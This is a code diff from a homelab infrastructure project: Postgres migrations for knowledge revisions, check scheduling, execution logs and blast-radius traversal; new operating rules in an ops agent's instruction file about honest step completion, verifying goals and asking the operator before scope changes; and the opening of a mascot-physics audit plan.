-- entity, which contradicts the point of this migration — removing a note is
|
||||
-- exactly the moment its history matters most. Deleting sets deleted_at; all
|
||||
-- read paths filter it out, the revision trail survives, and an accidental
|
||||
-- delete is recoverable by clearing the column.
|
||||
ALTER TABLE knowledge_entities
|
||||
ADD COLUMN IF NOT EXISTS deleted_at TIMESTAMPTZ;
|
||||
|
||||
-- Partial index: every list/search/read query carries `deleted_at IS NULL`,
|
||||
-- and deleted notes are expected to stay a small minority.
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_live
|
||||
ON knowledge_entities (updated_at DESC)
|
||||
WHERE deleted_at IS NULL;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS knowledge_revisions (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
entity_id UUID NOT NULL REFERENCES entities(id) ON DELETE CASCADE,
|
||||
title TEXT NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
source TEXT,
|
||||
tags TEXT[],
|
||||
edited_by TEXT NOT NULL DEFAULT '',
|
||||
-- When this version was written (the superseded row's updated_at).
|
||||
version_at TIMESTAMPTZ NOT NULL,
|
||||
-- When it was replaced. version_at of revision N and revised_at of
|
||||
-- revision N-1 bracket how long that version was the live one.
|
||||
revised_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
|
||||
-- The only access pattern: "show me the history of this note, newest first."
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_revisions_entity
|
||||
ON knowledge_revisions (entity_id, version_at DESC);
|
||||
|
||||
-- Snapshot the outgoing row whenever the substance changes. Deliberately
|
||||
-- ignores updated_at-only touches: upsert_knowledge sets `updated_at = now()`
|
||||
-- on every call even when re-writing byte-identical content (it has no
|
||||
-- change detection), and without this guard a re-run of the same agent task
|
||||
-- would pile up identical revisions and bury the real edits.
|
||||
--
|
||||
-- `search` is a GENERATED column and is intentionally not carried into
|
||||
-- revisions — it is derived from title+content and would be dead weight.
|
||||
CREATE OR REPLACE FUNCTION snapshot_knowledge_revision() RETURNS TRIGGER AS $$
|
||||
BEGIN
|
||||
IF OLD.title IS DISTINCT FROM NEW.title
|
||||
OR OLD.content IS DISTINCT FROM NEW.content
|
||||
OR OLD.tags IS DISTINCT FROM NEW.tags THEN
|
||||
INSERT INTO knowledge_revisions
|
||||
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||
VALUES
|
||||
(OLD.entity_id, OLD.title, OLD.content, OLD.source, OLD.tags,
|
||||
OLD.edited_by, OLD.updated_at);
|
||||
END IF;
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
|
||||
-- DROP + CREATE rather than CREATE OR REPLACE: Postgres 16 has no
|
||||
-- CREATE OR REPLACE TRIGGER for this form, and the migration must stay
|
||||
-- re-runnable.
|
||||
DROP TRIGGER IF EXISTS trg_knowledge_revision ON knowledge_entities;
|
||||
|
||||
CREATE TRIGGER trg_knowledge_revision
|
||||
BEFORE UPDATE ON knowledge_entities
|
||||
FOR EACH ROW EXECUTE FUNCTION snapshot_knowledge_revision();
|
||||
|
||||
-- Trigram similarity, for the duplicate-detection view. The knowledge base
|
||||
-- has already accumulated near-duplicates that exact matching cannot catch —
|
||||
-- four separate "rclone backup live inspection — <date>" investigations, each
|
||||
-- a fresh note where an update to the existing one was meant. upsert_knowledge
|
||||
-- keys on exact title, so a date suffix is enough to fork a new note.
|
||||
--
|
||||
-- similarity() over titles is what lets the UI cluster those and offer a
|
||||
-- merge. fuzzystrmatch (levenshtein) was the alternative; trigram wins here
|
||||
-- because these titles differ by whole appended words rather than typos, and
|
||||
-- because it comes with a GIN index while levenshtein cannot be indexed.
|
||||
CREATE EXTENSION IF NOT EXISTS pg_trgm;
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_title_trgm
|
||||
ON knowledge_entities USING gin (title gin_trgm_ops)
|
||||
WHERE deleted_at IS NULL;
|
||||
35
migrations/023_entity_type_monitoring.up.sql
Normal file
35
migrations/023_entity_type_monitoring.up.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
-- 023_entity_type_monitoring.up.sql
|
||||
-- Declare, per entity type, what monitoring that type warrants.
|
||||
--
|
||||
-- Motivation: only 3 of 89 active entities had an enabled check_def, because
|
||||
-- checkdefaults.forEntityType hardcoded a Go `switch` over five entity types
|
||||
-- and resolveHost looked for attribute shapes the seed data never used. The
|
||||
-- failure was silent — every tx.Exec in that file discarded its error.
|
||||
--
|
||||
-- Fixing coverage alone is not enough: coverage is NOT uniform. Some types
|
||||
-- (site, cluster, lan, mesh) are topological groupings with nothing to probe;
|
||||
-- their health is implied by their members. Without an explicit declaration,
|
||||
-- the "unmonitored" signal added alongside this migration would fire
|
||||
-- permanently and unresolvably against entities that are working as intended.
|
||||
--
|
||||
-- So monitoring becomes a property of the TYPE, resolved through the existing
|
||||
-- `parent_type` is-a hierarchy (declaring it on abstract `machine` covers
|
||||
-- proxmox-host / standalone-server / workstation).
|
||||
--
|
||||
-- Three states, deliberately distinguishable:
|
||||
-- NULL — undeclared. An ontology gap; reported at info severity,
|
||||
-- not as a fleet gap. This is why the column is nullable
|
||||
-- rather than defaulting to '[]'.
|
||||
-- '[]' — explicitly none. Excluded from coverage signalling.
|
||||
-- '["http", ...]' — the check kinds this type warrants.
|
||||
--
|
||||
-- The column holds check KINDS only. Deriving each check's config (host,
|
||||
-- script, url, thresholds) stays in Go, in internal/checkdefaults — a config
|
||||
-- template language in YAML is the natural follow-on, not this change.
|
||||
|
||||
ALTER TABLE entity_types ADD COLUMN IF NOT EXISTS monitoring_spec JSONB;
|
||||
|
||||
-- Kept on one line and free of semicolons: the migration runner splits on ';'
|
||||
-- without tracking string literals, so both a newline and an inner semicolon
|
||||
-- would truncate this statement mid-quote.
|
||||
COMMENT ON COLUMN entity_types.monitoring_spec IS 'Check kinds this type warrants, resolved through parent_type. NULL means undeclared (an ontology gap), [] means explicitly unmonitorable, ["http","resource"] means declared kinds. Populated from seeds/ontology.yaml.';
|
||||
18
migrations/024_executions_created_at_index.up.sql
Normal file
18
migrations/024_executions_created_at_index.up.sql
Normal file
@@ -0,0 +1,18 @@
|
||||
-- 024_executions_created_at_index.up.sql
|
||||
-- Support newest-first execution history.
|
||||
--
|
||||
-- ListExecutions previously ordered by the target entity's slug, which is
|
||||
-- neither useful for a history view nor unique enough to paginate on. It now
|
||||
-- orders by (created_at DESC, entity_id DESC) -- the compound key the cursor
|
||||
-- carries -- and executions had indexes only on target_entity_id and status.
|
||||
--
|
||||
-- The same ordering backs /activity/recent, which was doing this unindexed.
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_executions_created_at
|
||||
ON executions (created_at DESC, entity_id DESC);
|
||||
|
||||
-- Per-entity history ("what has run against this host?") filters on the target
|
||||
-- and then sorts, so give it a composite rather than making the planner sort
|
||||
-- every row for a target with a long history.
|
||||
CREATE INDEX IF NOT EXISTS idx_executions_target_created_at
|
||||
ON executions (target_entity_id, created_at DESC);
|
||||
43
migrations/025_execution_logs.up.sql
Normal file
43
migrations/025_execution_logs.up.sql
Normal file
@@ -0,0 +1,43 @@
|
||||
-- 025_execution_logs.up.sql
|
||||
-- Incremental command output for executions.
|
||||
--
|
||||
-- Until now `executions.result` was a single JSONB blob written once, at the
|
||||
-- terminal state: {"output": "...everything..."}. Two consequences:
|
||||
--
|
||||
-- 1. Nothing could be seen while a command ran. A ten-minute apt upgrade
|
||||
-- showed an empty row until it finished.
|
||||
-- 2. On the sshExecTimeout path the output was discarded entirely — the
|
||||
-- code returned "" — so the executions most worth inspecting (the ones
|
||||
-- that hung) were the ones that left no trace at all.
|
||||
--
|
||||
-- Chunks land here as they arrive. `executions.result` still gets the full
|
||||
-- output at the end, so existing readers keep working unchanged and this
|
||||
-- table is purely additive.
|
||||
|
||||
CREATE TABLE IF NOT EXISTS execution_logs (
|
||||
execution_id UUID NOT NULL,
|
||||
ts TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
-- Monotonic per execution. ts alone cannot order chunks: several arrive
|
||||
-- within the same microsecond on a fast command.
|
||||
seq INTEGER NOT NULL,
|
||||
-- 'stdout' or 'stderr'. Both are also concatenated into the combined
|
||||
-- output, matching what CombinedOutput used to return.
|
||||
stream TEXT NOT NULL,
|
||||
chunk TEXT NOT NULL,
|
||||
PRIMARY KEY (execution_id, seq, ts)
|
||||
);
|
||||
|
||||
SELECT create_hypertable('execution_logs', 'ts',
|
||||
chunk_time_interval => INTERVAL '7 days', if_not_exists => TRUE);
|
||||
|
||||
-- The only query that matters: replay one execution's output in order.
|
||||
CREATE INDEX IF NOT EXISTS idx_execution_logs_exec_seq
|
||||
ON execution_logs (execution_id, seq);
|
||||
|
||||
-- Matches the events table's 90 days. Command output is bulkier than events,
|
||||
-- but keeping it exactly as long as the event stream that references it avoids
|
||||
-- dangling 'execution.output' events pointing at rows that no longer exist.
|
||||
DO $$ BEGIN
|
||||
PERFORM add_retention_policy('execution_logs', INTERVAL '90 days');
|
||||
EXCEPTION WHEN OTHERS THEN NULL;
|
||||
END $$;
|
||||
32
migrations/026_check_defs_last_run.up.sql
Normal file
32
migrations/026_check_defs_last_run.up.sql
Normal file
@@ -0,0 +1,32 @@
|
||||
-- 026_check_defs_last_run.up.sql
|
||||
-- Make check_defs.interval_s actually mean something.
|
||||
--
|
||||
-- ListEnabledCheckDefs selected interval_s but never filtered on it, and
|
||||
-- nothing in the scheduler read it except staleSweep. So every enabled check
|
||||
-- ran on every 30-second pass and the declared per-check intervals were
|
||||
-- decorative.
|
||||
--
|
||||
-- That went unnoticed at 17 enabled checks (~0.5 SSH/s). Restoring monitoring
|
||||
-- coverage takes it to ~150, where it would have meant ~126 SSH connections
|
||||
-- every 30s — roughly 363k/day — and, worst of all, `apt update` on every
|
||||
-- machine every 30 seconds via updates_check.sh: 14,400 mirror hits a day to
|
||||
-- answer a question whose answer changes about once a day.
|
||||
--
|
||||
-- last_run_at is a column rather than scheduler memory on purpose: an
|
||||
-- in-memory map resets on restart, and this control plane restarts on every
|
||||
-- deploy, so every check would fire at once each time — a thundering herd
|
||||
-- exactly when the stack is least settled.
|
||||
--
|
||||
-- NULL means "never run", which is due immediately. Existing rows therefore
|
||||
-- all fire once on the first pass after this migration, then settle into
|
||||
-- their declared cadence.
|
||||
|
||||
ALTER TABLE check_defs ADD COLUMN IF NOT EXISTS last_run_at TIMESTAMPTZ;
|
||||
|
||||
-- The scheduler's hot query: enabled AND due. Partial on enabled since
|
||||
-- disabled checks are never considered.
|
||||
CREATE INDEX IF NOT EXISTS idx_check_defs_due
|
||||
ON check_defs (last_run_at)
|
||||
WHERE enabled;
|
||||
|
||||
COMMENT ON COLUMN check_defs.last_run_at IS 'When this check last executed. NULL = never, due immediately. Compared against interval_s to decide due-ness.';
|
||||
28
migrations/027_check_last_health.up.sql
Normal file
28
migrations/027_check_last_health.up.sql
Normal file
@@ -0,0 +1,28 @@
|
||||
-- 027_check_last_health.up.sql
|
||||
-- Aggregate an entity's health across its checks instead of last-writer-wins.
|
||||
--
|
||||
-- runCheck wrote entity_status.health on every check completion, so an
|
||||
-- entity's health was simply whichever of its checks finished most recently.
|
||||
-- host:hubris has 6 checks, host:strong 6 — one failing probe alternating with
|
||||
-- five passing ones produced a permanent flap: 226 health.changed events for
|
||||
-- host:strong in a single hour, oscillating down/healthy, while the host was
|
||||
-- fine the whole time.
|
||||
--
|
||||
-- On this fleet the trigger is a known false positive: the scheduler's network
|
||||
-- vantage point cannot ICMP host:strong, so its ping check fails while every
|
||||
-- ssh-script check succeeds. Under last-writer-wins that one probe was enough
|
||||
-- to declare the whole host down, twice a minute.
|
||||
--
|
||||
-- Storing each check's own verdict lets entity health be derived as the worst
|
||||
-- current result across that entity's enabled checks — so a single failing
|
||||
-- probe degrades the entity honestly without erasing what the other five say,
|
||||
-- and a passing probe cannot mask a genuine failure elsewhere.
|
||||
|
||||
ALTER TABLE check_defs ADD COLUMN IF NOT EXISTS last_health TEXT;
|
||||
|
||||
COMMENT ON COLUMN check_defs.last_health IS 'This check''s own most recent verdict (healthy/degraded/down/unknown). entity_status.health is the worst of these across the target''s enabled checks.';
|
||||
|
||||
-- The aggregation reads every enabled check for one target on each completion.
|
||||
CREATE INDEX IF NOT EXISTS idx_check_defs_target_health
|
||||
ON check_defs (target_id)
|
||||
WHERE enabled AND target_id IS NOT NULL;
|
||||
75
migrations/028_relationship_blast_direction.up.sql
Normal file
75
migrations/028_relationship_blast_direction.up.sql
Normal file
@@ -0,0 +1,75 @@
|
||||
-- 028_relationship_blast_direction.up.sql
|
||||
-- Make blast_radius answer the question it is named after.
|
||||
--
|
||||
-- blast_radius walked source_id -> target_id for every relationship type. But
|
||||
-- which end of an edge is the DEPENDENT differs per type:
|
||||
--
|
||||
-- machine --hosts--> container if the machine dies, the container dies
|
||||
-- -> dependent is the TARGET (forward)
|
||||
-- service --depends-on--> service if the target dies, the SOURCE breaks
|
||||
-- -> dependent is the SOURCE (backward)
|
||||
-- ingress --routes-to--> service if the service dies, the route 502s
|
||||
-- -> dependent is the SOURCE (backward)
|
||||
-- document --documents--> entity neither breaks the other
|
||||
-- -> no runtime dependency at all
|
||||
--
|
||||
-- Walking everything forwards meant the answer was right for `hosts` and
|
||||
-- `provides` and wrong for every backward edge, while `documents`, `involves`
|
||||
-- and `targets` (2,800+ edges of pure bookkeeping) polluted the result with
|
||||
-- tasks and executions that cannot "break".
|
||||
--
|
||||
-- Direction is therefore a property of the relationship type, declared in
|
||||
-- seeds/ontology.yaml — the same shape as the `monitoring:` declaration on
|
||||
-- entity types.
|
||||
--
|
||||
-- forward : if the SOURCE fails, the TARGET is affected
|
||||
-- backward : if the TARGET fails, the SOURCE is affected
|
||||
-- none : no runtime dependency (default — bookkeeping and documentation)
|
||||
--
|
||||
-- Defaulting to 'none' is deliberate: an undeclared edge contributes nothing
|
||||
-- rather than silently producing a wrong answer, which is how the old
|
||||
-- everything-is-forward behaviour went unnoticed.
|
||||
|
||||
ALTER TABLE relationship_types
|
||||
ADD COLUMN IF NOT EXISTS blast_direction TEXT NOT NULL DEFAULT 'none'
|
||||
CHECK (blast_direction IN ('forward', 'backward', 'none'));
|
||||
|
||||
COMMENT ON COLUMN relationship_types.blast_direction IS
|
||||
'Which end of this edge depends on the other. forward = target depends on source. backward = source depends on target. none = no runtime dependency. Drives blast_radius().';
|
||||
|
||||
-- Walk the dependency graph in the direction each edge type declares.
|
||||
--
|
||||
-- Returns everything that is affected when start_id fails, with the number of
|
||||
-- hops. Cycles are guarded by the path array, as before.
|
||||
CREATE OR REPLACE FUNCTION blast_radius(start_id UUID, max_depth INT DEFAULT 3,
|
||||
rel_types TEXT[] DEFAULT NULL)
|
||||
RETURNS TABLE(entity_id UUID, depth INT) AS $$
|
||||
WITH RECURSIVE walk AS (
|
||||
SELECT start_id AS entity_id, 0 AS depth, ARRAY[start_id] AS path
|
||||
UNION ALL
|
||||
SELECT next_id, w.depth + 1, w.path || next_id
|
||||
FROM walk w
|
||||
JOIN LATERAL (
|
||||
-- forward: this entity is the source, so the target depends on it
|
||||
SELECT r.target_id AS next_id
|
||||
FROM relationships r
|
||||
JOIN relationship_types rt ON rt.name = r.type
|
||||
WHERE r.source_id = w.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND rt.blast_direction = 'forward'
|
||||
AND (rel_types IS NULL OR r.type = ANY(rel_types))
|
||||
UNION ALL
|
||||
-- backward: this entity is the target, so the source depends on it
|
||||
SELECT r.source_id AS next_id
|
||||
FROM relationships r
|
||||
JOIN relationship_types rt ON rt.name = r.type
|
||||
WHERE r.target_id = w.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND rt.blast_direction = 'backward'
|
||||
AND (rel_types IS NULL OR r.type = ANY(rel_types))
|
||||
) nxt ON TRUE
|
||||
WHERE w.depth < LEAST(max_depth, 5)
|
||||
AND NOT nxt.next_id = ANY(w.path)
|
||||
)
|
||||
SELECT entity_id, MIN(depth) FROM walk GROUP BY entity_id;
|
||||
$$ LANGUAGE sql STABLE;
|
||||
33
migrations/029_plan_generation_relative_seq.up.sql
Normal file
33
migrations/029_plan_generation_relative_seq.up.sql
Normal file
@@ -0,0 +1,33 @@
|
||||
-- 029_plan_generation_relative_seq.up.sql
|
||||
-- Make plan-step seq generation-relative: 1..N within each
|
||||
-- (session_id, generation). Before this, seq was globally increasing across
|
||||
-- generations (gen1: 1..6, gen2: 7..12), so the model's 1-based
|
||||
-- update_plan_step calls — which the prompt and schema explicitly tell it to
|
||||
-- use — landed on superseded gen-1 rows after a re-plan while the live gen-2
|
||||
-- work went unrecorded (or, worse, resurrected a `replaced` row as `done`).
|
||||
-- The addressing key is now (session_id, generation, seq); updatePlanStep
|
||||
-- resolves against MAX(generation), so a 1-based seq always maps to the
|
||||
-- CURRENT plan. See plans/2026-07-30-session-review-plan-drift-and-dead-
|
||||
-- activity-panel.md P0.1.
|
||||
|
||||
-- Renumber existing rows so seq resets to 1..N per (session, generation),
|
||||
-- preserving each generation's step order.
|
||||
WITH ranked AS (
|
||||
SELECT id,
|
||||
ROW_NUMBER() OVER (
|
||||
PARTITION BY session_id, generation
|
||||
ORDER BY seq, created_at
|
||||
) AS new_seq
|
||||
FROM session_plan_steps
|
||||
)
|
||||
UPDATE session_plan_steps s
|
||||
SET seq = ranked.new_seq
|
||||
FROM ranked
|
||||
WHERE s.id = ranked.id AND s.seq <> ranked.new_seq;
|
||||
|
||||
-- (session_id, seq) is no longer unique once seq resets per generation; the
|
||||
-- store resolves via (session_id, generation, seq). Drop the old composite
|
||||
-- index (it now collides on seq) and add the generation-scoped unique index.
|
||||
DROP INDEX IF EXISTS idx_plan_steps_session;
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS idx_plan_steps_session_gen_seq
|
||||
ON session_plan_steps (session_id, generation, seq);
|
||||
8
migrations/030_plan_step_replaced_reason.up.sql
Normal file
8
migrations/030_plan_step_replaced_reason.up.sql
Normal file
@@ -0,0 +1,8 @@
|
||||
-- 030_plan_step_replaced_reason.up.sql
|
||||
-- Add replaced_reason to session_plan_steps so the agent must explain why
|
||||
-- a step was replaced (wrong_diagnosis, scope_change, blocked, superseded,
|
||||
-- operator_override) rather than silently replacing entire plans. The column
|
||||
-- is also set by bulk-replace operations (proposePlan, setGoal, reopenSession)
|
||||
-- for auditability.
|
||||
|
||||
ALTER TABLE session_plan_steps ADD COLUMN IF NOT EXISTS replaced_reason TEXT;
|
||||
103
nomos/SOUL.md
103
nomos/SOUL.md
@@ -47,6 +47,24 @@ Read-only commands auto-run (no approval). Config_mutation commands
|
||||
auto-run under the assent window (after approval). Destructive commands
|
||||
always need explicit typed confirmation.
|
||||
|
||||
**Never mark a step `done` if its tool calls errored.** If `run` timed out,
|
||||
`update_entity_attributes` returned "not found", `create_relationship` returned
|
||||
"source entity not found", or any tool returned an error — the step is NOT done.
|
||||
Diagnose the error, try an alternative (e.g. use `create_entity` when
|
||||
`update_entity_attributes` reports the entity doesn't exist), and only advance
|
||||
to `done` when the step's intended work actually completed. A step whose only
|
||||
tool results are errors should stay `running` — surfacing the problem to the
|
||||
operator is better than silently advancing past it.
|
||||
|
||||
**Complete or skip steps — don't replace silently.** Use `status=replaced` only
|
||||
when the entire plan generation is wrong and the step should be abandoned. When
|
||||
you replace a step, provide `replaced_reason` with the cause
|
||||
(`wrong_diagnosis`, `scope_change`, `blocked`, `superseded`, `operator_override`).
|
||||
Replacing ALL steps with no reason is a session-quality violation — the plan
|
||||
system's step-completion rate is a tracked metric. Advance steps you've
|
||||
actually done (`status=done`) and explicitly skip ones you're abandoning
|
||||
(`status=skipped`).
|
||||
|
||||
### 6. WRITE BACK + COMPLETE — `complete_task`
|
||||
Call `update_entity_attributes` for every entity you ran `run` against
|
||||
(versions, states, counts, timestamps). Call `create_relationship` for any
|
||||
@@ -59,6 +77,23 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
|
||||
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
||||
no writeback needed.
|
||||
|
||||
**⚠️ Before calling `complete_task(success)`, restate the user's original
|
||||
goal and verify each condition yourself.** "The proxy returns 200" is NOT
|
||||
the same as "the dashboard works" — Caddy can return 200 for a terminal
|
||||
page (ttyd), a fallback, or a stale cached response while the actual
|
||||
service is still down. If the goal was "make X reachable," verify that X
|
||||
ITSELF responds — not just that the reverse proxy returned a status code.
|
||||
If you can't verify the actual service (port not open, service not
|
||||
responding), set `outcome=partial`, not `success`.
|
||||
|
||||
`complete_task` auto-closes any in-flight plan steps (pending/running → done
|
||||
on success, → skipped on partial/failure). You do NOT need to call
|
||||
`update_plan_step` for every step right before completing — once your work
|
||||
is done and writeback is recorded, just call `complete_task`. This is the
|
||||
right pattern for one-step plans (greetings, single health checks, title
|
||||
tests): propose_plan → answer → complete_task, skipping the per-step
|
||||
running→done dance entirely.
|
||||
|
||||
### 7. ITERATE — follow-ups reopen the task
|
||||
A `complete_task` is not the end of the conversation. If the operator sends
|
||||
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
||||
@@ -77,6 +112,13 @@ generation — the panel will show it as a new list), execute, write back,
|
||||
the panel in your reply. Never re-run `run` just to fix a display mismatch.
|
||||
- Re-run a fleet-wide audit when a same-day knowledge entry already has the
|
||||
answer → present the existing knowledge, propose a targeted refresh only.
|
||||
- Pivot to a subsystem unrelated to the user's expressed goal without asking →
|
||||
when investigation leads to a different subsystem or root cause (e.g.
|
||||
debugging DHCP reservations when the goal was "make the dashboard reachable"),
|
||||
call `session_questions` with the discovery and options BEFORE taking action.
|
||||
Example: "The dashboard hasn't started since July 19 — this predates my work.
|
||||
Do you want me to debug the dashboard service [A], skip it and stabilize the
|
||||
current state [B], or stop here [C]?"
|
||||
|
||||
## Source of truth
|
||||
|
||||
@@ -160,6 +202,17 @@ disappear.
|
||||
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
||||
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
||||
pct create, any shell command. There is no named-action tool anymore.
|
||||
- `classify_command` — **pre-flight check before `run` when you're unsure
|
||||
whether a command will auto-execute or need approval.** Pass the exact
|
||||
command (and optional `declared_risk`); get back the risk class that `run`
|
||||
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
|
||||
compound command — these are the cases where the classifier's verdict
|
||||
isn't obvious from the verb alone. If `classify_command` says `read_only`,
|
||||
`run` will auto-execute; if it says `config_mutation`, reframe the command
|
||||
or expect to need approval. **Do NOT submit a `run`, get it queued for
|
||||
approval, and then retry with cosmetic variations** — that produces
|
||||
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
|
||||
submit once.
|
||||
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
||||
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
||||
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
||||
@@ -186,6 +239,21 @@ disappear.
|
||||
`list_lxcs` answers the same question in one call. Use it.
|
||||
- When a bulk tool's summary isn't enough for a specific entity, call the
|
||||
per-entity tool for that one entity — not for every entity in the fleet.
|
||||
- **Cap pre-plan exploration:** prefer `list_entities(limit)` +
|
||||
`get_entity_knowledge` (context for one entity, one call) over N+1
|
||||
`get_entity`/`get_relations` chains. If you've already called
|
||||
`get_entity_knowledge(slug)` and need more, call `get_entity(slug)` +
|
||||
`get_relations(slug)` — not `list_entities` without a limit scanning the
|
||||
whole entity table.
|
||||
- **Group parallel reads:** `get_entity_knowledge`, `search_knowledge`,
|
||||
`get_entity`, and `get_relations` are all read-only DB calls that can
|
||||
be batched in a single tool-call block. Do not sequentialize them one
|
||||
per turn when they are independent.
|
||||
- **Source-reading on prod (`run cat/grep/find /opt/…`) is NOT the way to
|
||||
learn how the platform works.** The MCP tools ARE the interface. If you
|
||||
need to understand a check lifecycle or a scheduler behavior, search
|
||||
`search_knowledge("oikos check lifecycle")` or ask the operator — do
|
||||
not treat the prod host as a code repository you grep.
|
||||
|
||||
## Policy awareness
|
||||
|
||||
@@ -336,6 +404,26 @@ port is busy, find a free one. Only surface to the operator if you've tried
|
||||
reasonable alternatives and none worked. An error in one step is not a reason
|
||||
to stop the entire turn — it's a reason to try a different approach.
|
||||
|
||||
**When you hit a genuine missing capability — STOP and ask, don't bypass:**
|
||||
If a tool returns `entity … not found` when you're trying to create something
|
||||
(a check, an ingress, a cert, a new service), the entity doesn't exist yet —
|
||||
use `create_entity`. If you need to retire/delete an entity, use
|
||||
`set_entity_state`. If you need to remove a relationship, use
|
||||
`end_relationship`. If NONE of these fit and you truly lack a tool, **tell the
|
||||
operator directly: "I need to X, but no MCP tool does that — can you create it
|
||||
via the API?"** Do NOT pivot to `run find/grep/cat` on `/opt/homelab-context`
|
||||
to reverse-engineer how the platform works — MCP tools are the interface, not
|
||||
the prod source tree.
|
||||
|
||||
**Self-grounding — use the DB, don't invent:**
|
||||
- `run` targets must be `host:<slug>`, `lxc:<slug>`, or `vm:<slug>` — never
|
||||
`ws:`, raw container names, or Docker Compose service aliases.
|
||||
- Never invent an IP address or subnet. Query `get_entity("service:oikos")` for
|
||||
the real API address, `get_entity("host:<name>")` for a host's real LAN IP,
|
||||
`list_lxcs` for container addresses. The DB is authoritative; your guess is
|
||||
wrong (the homelab has multiple subnets — `192.168.8.0/24`, `192.168.178.0/24`,
|
||||
etc. — and guessing the wrong one wastes turns).
|
||||
|
||||
**A hung command is not a failed command — investigate before retrying.**
|
||||
If a `run` call times out or returns "ERROR" (e.g. SSH killed, signal,
|
||||
gateway timeout), DO NOT immediately retry the same command with different
|
||||
@@ -372,6 +460,21 @@ before producing the plan. A multi-step migration proposed when the
|
||||
user actually wanted a one-line cleanup wastes turns and forces the
|
||||
user to redirect.
|
||||
|
||||
**Scope gate — ask before chasing unrelated subsystems.** When your
|
||||
investigation leads to a subsystem or root cause unrelated to the
|
||||
expressed goal (e.g. the user asked "why is X unreachable?" and you
|
||||
find yourself debugging DHCP reservations on a DNS server, or the
|
||||
dashboard logs show it hasn't started since weeks before the reported
|
||||
problem), STOP and ask via `ask_operator`. Example: *"The dashboard
|
||||
logs show it hasn't started since July 19 — pre-dating this incident.
|
||||
Do you want me to debug the dashboard service [A], just stabilize the
|
||||
IP [B], or stop here [C]?"* Chasing an unrelated subsystem without
|
||||
asking is a session-quality violation — it wastes tool calls and
|
||||
computes credit on a problem the operator may not want solved right
|
||||
now. The `session_questions` mechanism exists for exactly this; use
|
||||
it whenever the target shifts more than one degree from the stated
|
||||
goal.
|
||||
|
||||
**Multi-goal sessions: summarize the arc, not just the last goal.**
|
||||
When a session has more than one `set_goal` (the operator pivoted mid-
|
||||
session — e.g. "actually, just keep ludo-library"), the final
|
||||
|
||||
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
@@ -0,0 +1,303 @@
|
||||
# 2026-07-20 — Mascot physics/window-interaction audit + improvement plan
|
||||
|
||||
**Status:** P0–P2 implemented. P3 partially implemented: the physics-feel
|
||||
round shipped (panic-flap cycle with speed scaling + jitter, soft
|
||||
terminal-velocity drag, one-bounce impact restitution, landing skid, wall
|
||||
ricochet, squash-and-stretch impact spring, air/drag tilt, walk bob,
|
||||
impact feather-poof particles, and a new idle-selectable `hop` behavior —
|
||||
all in `behavior.ts` + `Mascot.svelte`'s render layer, no new assets).
|
||||
The remaining P3 feature ideas (investigate badges, startle-and-flee, a
|
||||
"home" spot, round radial menu v2, distinct adult art) stay open.
|
||||
|
||||
**Verification of the fixes** (re-ran this document's own instrumented
|
||||
tests against the fixed code):
|
||||
- Case A (window closes under the mascot): position now falls smoothly
|
||||
over ~2.5–3s with visible x-drift (e.g. bottom went 84→87→104→125→...→912
|
||||
across ~3.3s), instead of jumping straight to the floor in one tick.
|
||||
- Case B (window opens over a grounded mascot with a gap beneath it): the
|
||||
mascot stayed pinned to the floor (`bottom: 950`) for 2.6s straight while
|
||||
standing under an open window whose top was far above it — no snap-up at
|
||||
all.
|
||||
- Toss momentum: a fast upward-and-sideways release made the sprite keep
|
||||
*rising* for several frames after pointerup before gravity won, then fall
|
||||
with visible deceleration bumps roughly every ~550ms (the flap cycle)
|
||||
instead of a flat monotonic increase.
|
||||
- No new console errors; `npm run build` stays clean.
|
||||
|
||||
Companion to [plans/2026-07-20-desktop-mascot.md](2026-07-20-desktop-mascot.md)
|
||||
(the original scaffolding plan, now implemented) and
|
||||
[docs/mascot/README.md](../docs/mascot/README.md) (the MBSE model). This
|
||||
document is a post-implementation review: static code read of every file
|
||||
under `web/src/lib/mascot/`, plus live testing in the browser (dragging,
|
||||
opening/closing/moving windows under the mascot, the radial menu, hatching),
|
||||
including two tests instrumented with synthetic pointer events + high-frequency
|
||||
position polling to get hard timing data rather than guessing from a laggy
|
||||
screenshot loop.
|
||||
|
||||
## Summary
|
||||
|
||||
The scaffolding (registries, FSM shape, persistence, stimulus bus) is sound
|
||||
and matches the original plan's architecture. The actual **physics is where
|
||||
it falls short of feeling alive**, for one root cause plus a few smaller
|
||||
gaps:
|
||||
|
||||
**The mascot doesn't actually fall in the cases that matter most — it
|
||||
teleports.** The only code path where a real, animated fall happens is
|
||||
"user drags it into the air and lets go." Every other ground-change case
|
||||
(a window closes or moves out from under it, a window opens or moves under
|
||||
it, it walks off a window's edge) snaps its position instantly, with zero
|
||||
animation, because of one specific piece of logic in `Mascot.svelte`. This
|
||||
was proven with instrumented timing data, not just read from the source —
|
||||
see Finding 1.
|
||||
|
||||
## How this was tested
|
||||
|
||||
- Read every file in `web/src/lib/mascot/` (behavior.ts, Mascot.svelte,
|
||||
MascotLayer.svelte, state.svelte.ts, stimuli.ts, sprites.ts, render.ts,
|
||||
